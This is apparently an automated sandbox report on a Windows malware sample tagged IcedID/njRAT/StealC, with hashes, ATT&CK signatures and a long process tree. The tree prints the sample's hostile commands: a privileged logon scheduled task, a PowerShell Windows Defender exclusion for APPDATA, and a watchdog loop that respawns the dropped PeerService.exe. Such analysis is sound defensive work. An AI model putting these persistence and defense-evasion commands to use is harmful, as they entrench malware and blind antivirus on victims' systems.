e465e582155db76d4f857e86c73cdabee04d661b9b49986815b87b7a8b8ee7d1

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 20:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-28_9769f13c18e99db17ebeadb07d924bf1_icedid_njrat_stealc.exe
Size 6.1MB
Sample260628-y85e3set2n
SHA256 e465e582155db76d4f857e86c73cdabee04d661b9b49986815b87b7a8b8ee7d1
MD5 9769f13c18e99db17ebeadb07d924bf1
SHA1 201748bfb88edb7e8ea10a4455cb0400a8c573ee
SHA512 7710bdf85ba67d5609e3217ea591af301082bf8ab7b85045b02d5e0d875dd5e5ad20490e9b2b89e22537bf5d969256e5f75bfd025c523f92937a26e1b0a1c8ed
SSDEEP 196608:s+hBtOkSsByQyVG/uzGNVyAl3K8fCGnbP3J9:7tO4NSG/lVrl3KExL3J9
TLSH
T19856F12BB26901E8D1BFD17CC9165907EBB2780543A0A7CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5664	powershell.exe
1516	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2368	PeerService.exe
1376	PeerService.exe

Enumerates processes with tasklist 1 TTPs 60 IoCs

discovery

Process Discovery

T1057

pid	Process
5160	tasklist.exe
4236	tasklist.exe
2132	tasklist.exe
2992	tasklist.exe
4984	tasklist.exe
5400	tasklist.exe
2416	tasklist.exe
3384	tasklist.exe
3388	tasklist.exe
4444	tasklist.exe
5736	tasklist.exe
3556	tasklist.exe
5928	tasklist.exe
6024	tasklist.exe
5756	tasklist.exe
2040	tasklist.exe
1220	tasklist.exe
2604	tasklist.exe
5424	tasklist.exe
2884	tasklist.exe
1076	tasklist.exe
200	tasklist.exe
3924	tasklist.exe
1980	tasklist.exe
2764	tasklist.exe
4772	tasklist.exe
4704	tasklist.exe
4064	tasklist.exe
4424	tasklist.exe
2676	tasklist.exe
5056	tasklist.exe
4044	tasklist.exe
3888	tasklist.exe
4808	tasklist.exe
4836	tasklist.exe
5004	tasklist.exe
1292	tasklist.exe
672	tasklist.exe
4816	tasklist.exe
5464	tasklist.exe
3220	tasklist.exe
4604	tasklist.exe
3672	tasklist.exe
5512	tasklist.exe
4728	tasklist.exe
2748	tasklist.exe
5800	tasklist.exe
1528	tasklist.exe
2416	tasklist.exe
1044	tasklist.exe
5584	tasklist.exe
2388	tasklist.exe
2424	tasklist.exe
5180	tasklist.exe
6100	tasklist.exe
1200	tasklist.exe
6128	tasklist.exe
1624	tasklist.exe
1612	tasklist.exe
5688	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
1116	timeout.exe
2752	timeout.exe
5348	timeout.exe
1928	timeout.exe
2104	timeout.exe
4808	timeout.exe
3872	timeout.exe
3880	timeout.exe
2340	timeout.exe
5848	timeout.exe
5572	timeout.exe
6056	timeout.exe
5436	timeout.exe
5936	timeout.exe
2052	timeout.exe
900	timeout.exe
2276	timeout.exe
6060	timeout.exe
2276	timeout.exe
5300	timeout.exe
1848	timeout.exe
3352	timeout.exe
1636	timeout.exe
2960	timeout.exe
5144	timeout.exe
2816	timeout.exe
1972	timeout.exe
4444	timeout.exe
4612	timeout.exe
5404	timeout.exe
2248	timeout.exe
3460	timeout.exe
1976	timeout.exe
4860	timeout.exe
5368	timeout.exe
3852	timeout.exe
5572	timeout.exe
3712	timeout.exe
3048	timeout.exe
6000	timeout.exe
4836	timeout.exe
2068	timeout.exe
5012	timeout.exe
5092	timeout.exe
1644	timeout.exe
5428	timeout.exe
5524	timeout.exe
4292	timeout.exe
2704	timeout.exe
3020	timeout.exe
4316	timeout.exe
796	timeout.exe
1116	timeout.exe
5044	timeout.exe
1052	timeout.exe
5260	timeout.exe
1912	timeout.exe
3476	timeout.exe
1336	timeout.exe
4548	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2652	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5664	powershell.exe
5664	powershell.exe
5664	powershell.exe
1516	powershell.exe
1516	powershell.exe
1516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6100	tasklist.exe
Token: SeDebugPrivilege	5664	powershell.exe
Token: SeDebugPrivilege	4444	tasklist.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeIncreaseQuotaPrivilege	5664	powershell.exe
Token: SeSecurityPrivilege	5664	powershell.exe
Token: SeTakeOwnershipPrivilege	5664	powershell.exe
Token: SeLoadDriverPrivilege	5664	powershell.exe
Token: SeSystemProfilePrivilege	5664	powershell.exe
Token: SeSystemtimePrivilege	5664	powershell.exe
Token: SeProfSingleProcessPrivilege	5664	powershell.exe
Token: SeIncBasePriorityPrivilege	5664	powershell.exe
Token: SeCreatePagefilePrivilege	5664	powershell.exe
Token: SeBackupPrivilege	5664	powershell.exe
Token: SeRestorePrivilege	5664	powershell.exe
Token: SeShutdownPrivilege	5664	powershell.exe
Token: SeDebugPrivilege	5664	powershell.exe
Token: SeSystemEnvironmentPrivilege	5664	powershell.exe
Token: SeRemoteShutdownPrivilege	5664	powershell.exe
Token: SeUndockPrivilege	5664	powershell.exe
Token: SeManageVolumePrivilege	5664	powershell.exe
Token: 33	5664	powershell.exe
Token: 34	5664	powershell.exe
Token: 35	5664	powershell.exe
Token: 36	5664	powershell.exe
Token: SeIncreaseQuotaPrivilege	1516	powershell.exe
Token: SeSecurityPrivilege	1516	powershell.exe
Token: SeTakeOwnershipPrivilege	1516	powershell.exe
Token: SeLoadDriverPrivilege	1516	powershell.exe
Token: SeSystemProfilePrivilege	1516	powershell.exe
Token: SeSystemtimePrivilege	1516	powershell.exe
Token: SeProfSingleProcessPrivilege	1516	powershell.exe
Token: SeIncBasePriorityPrivilege	1516	powershell.exe
Token: SeCreatePagefilePrivilege	1516	powershell.exe
Token: SeBackupPrivilege	1516	powershell.exe
Token: SeRestorePrivilege	1516	powershell.exe
Token: SeShutdownPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeSystemEnvironmentPrivilege	1516	powershell.exe
Token: SeRemoteShutdownPrivilege	1516	powershell.exe
Token: SeUndockPrivilege	1516	powershell.exe
Token: SeManageVolumePrivilege	1516	powershell.exe
Token: 33	1516	powershell.exe
Token: 34	1516	powershell.exe
Token: 35	1516	powershell.exe
Token: 36	1516	powershell.exe
Token: SeDebugPrivilege	5056	tasklist.exe
Token: SeDebugPrivilege	4836	tasklist.exe
Token: SeDebugPrivilege	1200	tasklist.exe
Token: SeDebugPrivilege	5400	tasklist.exe
Token: SeDebugPrivilege	3924	tasklist.exe
Token: SeDebugPrivilege	2416	tasklist.exe
Token: SeDebugPrivilege	4044	tasklist.exe
Token: SeDebugPrivilege	5800	tasklist.exe
Token: SeDebugPrivilege	1612	tasklist.exe
Token: SeDebugPrivilege	5736	tasklist.exe
Token: SeDebugPrivilege	4236	tasklist.exe
Token: SeDebugPrivilege	5688	tasklist.exe
Token: SeDebugPrivilege	4064	tasklist.exe
Token: SeDebugPrivilege	1528	tasklist.exe
Token: SeDebugPrivilege	1220	tasklist.exe
Token: SeDebugPrivilege	4424	tasklist.exe
Token: SeDebugPrivilege	5928	tasklist.exe
Token: SeDebugPrivilege	1980	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 6096	2108	2026-06-28_9769f13c18e99db17ebeadb07d924bf1_icedid_njrat_stealc.exe	90
PID 6096 wrote to memory of 2652	6096	cmd.exe	92
PID 2108 wrote to memory of 2368	2108	2026-06-28_9769f13c18e99db17ebeadb07d924bf1_icedid_njrat_stealc.exe	93
PID 2368 wrote to memory of 5076	2368	PeerService.exe	96
PID 2368 wrote to memory of 3828	2368	PeerService.exe	97
PID 1376 wrote to memory of 5380	1376	PeerService.exe	102
PID 1376 wrote to memory of 4756	1376	PeerService.exe	103
PID 3828 wrote to memory of 6100	3828	cmd.exe	104
PID 5076 wrote to memory of 5664	5076	cmd.exe	106
PID 3828 wrote to memory of 5620	3828	cmd.exe	108
PID 4756 wrote to memory of 4444	4756	cmd.exe	109
PID 4756 wrote to memory of 5524	4756	cmd.exe	110
PID 5380 wrote to memory of 1516	5380	cmd.exe	111
PID 4756 wrote to memory of 3460	4756	cmd.exe	114
PID 3828 wrote to memory of 2340	3828	cmd.exe	115
PID 3828 wrote to memory of 5056	3828	cmd.exe	116
PID 3828 wrote to memory of 2636	3828	cmd.exe	117
PID 4756 wrote to memory of 4836	4756	cmd.exe	118
PID 4756 wrote to memory of 800	4756	cmd.exe	119
PID 3828 wrote to memory of 3352	3828	cmd.exe	120
PID 4756 wrote to memory of 4548	4756	cmd.exe	121
PID 3828 wrote to memory of 1200	3828	cmd.exe	122
PID 3828 wrote to memory of 5264	3828	cmd.exe	123
PID 4756 wrote to memory of 5400	4756	cmd.exe	124
PID 4756 wrote to memory of 2772	4756	cmd.exe	125
PID 3828 wrote to memory of 5572	3828	cmd.exe	126
PID 4756 wrote to memory of 3020	4756	cmd.exe	127
PID 4756 wrote to memory of 3924	4756	cmd.exe	128
PID 4756 wrote to memory of 2728	4756	cmd.exe	129
PID 3828 wrote to memory of 2416	3828	cmd.exe	130
PID 3828 wrote to memory of 2432	3828	cmd.exe	131
PID 4756 wrote to memory of 5936	4756	cmd.exe	132
PID 3828 wrote to memory of 4316	3828	cmd.exe	133
PID 3828 wrote to memory of 4044	3828	cmd.exe	134
PID 3828 wrote to memory of 3424	3828	cmd.exe	135
PID 4756 wrote to memory of 5800	4756	cmd.exe	136
PID 4756 wrote to memory of 4808	4756	cmd.exe	137
PID 3828 wrote to memory of 3712	3828	cmd.exe	138
PID 4756 wrote to memory of 5144	4756	cmd.exe	139
PID 3828 wrote to memory of 1612	3828	cmd.exe	140
PID 3828 wrote to memory of 2192	3828	cmd.exe	141
PID 4756 wrote to memory of 5736	4756	cmd.exe	142
PID 4756 wrote to memory of 2148	4756	cmd.exe	143
PID 3828 wrote to memory of 5012	3828	cmd.exe	144
PID 4756 wrote to memory of 5092	4756	cmd.exe	145
PID 3828 wrote to memory of 3556	3828	cmd.exe	147
PID 3828 wrote to memory of 5180	3828	cmd.exe	148
PID 4756 wrote to memory of 4236	4756	cmd.exe	149
PID 4756 wrote to memory of 6032	4756	cmd.exe	150
PID 3828 wrote to memory of 1644	3828	cmd.exe	151
PID 4756 wrote to memory of 1336	4756	cmd.exe	152
PID 4756 wrote to memory of 5688	4756	cmd.exe	153
PID 4756 wrote to memory of 6072	4756	cmd.exe	154
PID 3828 wrote to memory of 4064	3828	cmd.exe	155
PID 3828 wrote to memory of 3844	3828	cmd.exe	156
PID 4756 wrote to memory of 1636	4756	cmd.exe	157
PID 3828 wrote to memory of 1116	3828	cmd.exe	158
PID 4756 wrote to memory of 1528	4756	cmd.exe	159
PID 3828 wrote to memory of 1220	3828	cmd.exe	160
PID 4756 wrote to memory of 1576	4756	cmd.exe	161
PID 3828 wrote to memory of 2740	3828	cmd.exe	162
PID 3828 wrote to memory of 2052	3828	cmd.exe	163
PID 4756 wrote to memory of 5428	4756	cmd.exe	164
PID 3828 wrote to memory of 4424	3828	cmd.exe	165

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-06-28_9769f13c18e99db17ebeadb07d924bf1_icedid_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-28_9769f13c18e99db17ebeadb07d924bf1_icedid_njrat_stealc.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6096
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2652
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5664
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3828
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:6100
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5620
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2340
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5056
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2636
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3352
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1200
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5264
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5572
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2416
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2432
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4316
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4044
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3424
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3712
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1612
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2192
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5012
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3556
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5180
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1644
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4064
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3844
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1116
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1220
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2740
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4424
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5912
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5848
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3888
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2636
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2752
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2132
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5260
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6000
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2992
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5780
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5348
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2416
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2432
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1848
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3384
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3400
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:900
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2388
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3196
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5368
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1044
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2040
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:6056
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5424
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4220
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1972
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1292
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2032
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2248
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5160
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2572
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5524
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2884
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1416
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4836
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1076
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:6124
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2816
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4604
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2492
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5436
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:5584
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2424
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3852
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:3388
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1444
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2104
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4772
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1496
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2960
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:4704
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5544
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2068
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:1624
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5856
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2748
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3580
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2276
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      PID:2676
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4220
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5300

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\System32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- C:\Windows\System32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4444
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5524
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3460
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4836
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:800
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4548
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5400
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2772
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3020
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2728
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5936
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5800
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4808
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5144
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5736
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2148
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5092
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4236
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6032
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1336
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5688
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:6072
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1636
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1528
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1576
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5428
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5928
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3008
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1976
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1980
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3544
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3048
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2764
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2816
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1912
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2424
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1736
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5572
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:5004
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3104
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4860
- - C:\Windows\System32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4808
- - C:\Windows\System32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5340
- - C:\Windows\System32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
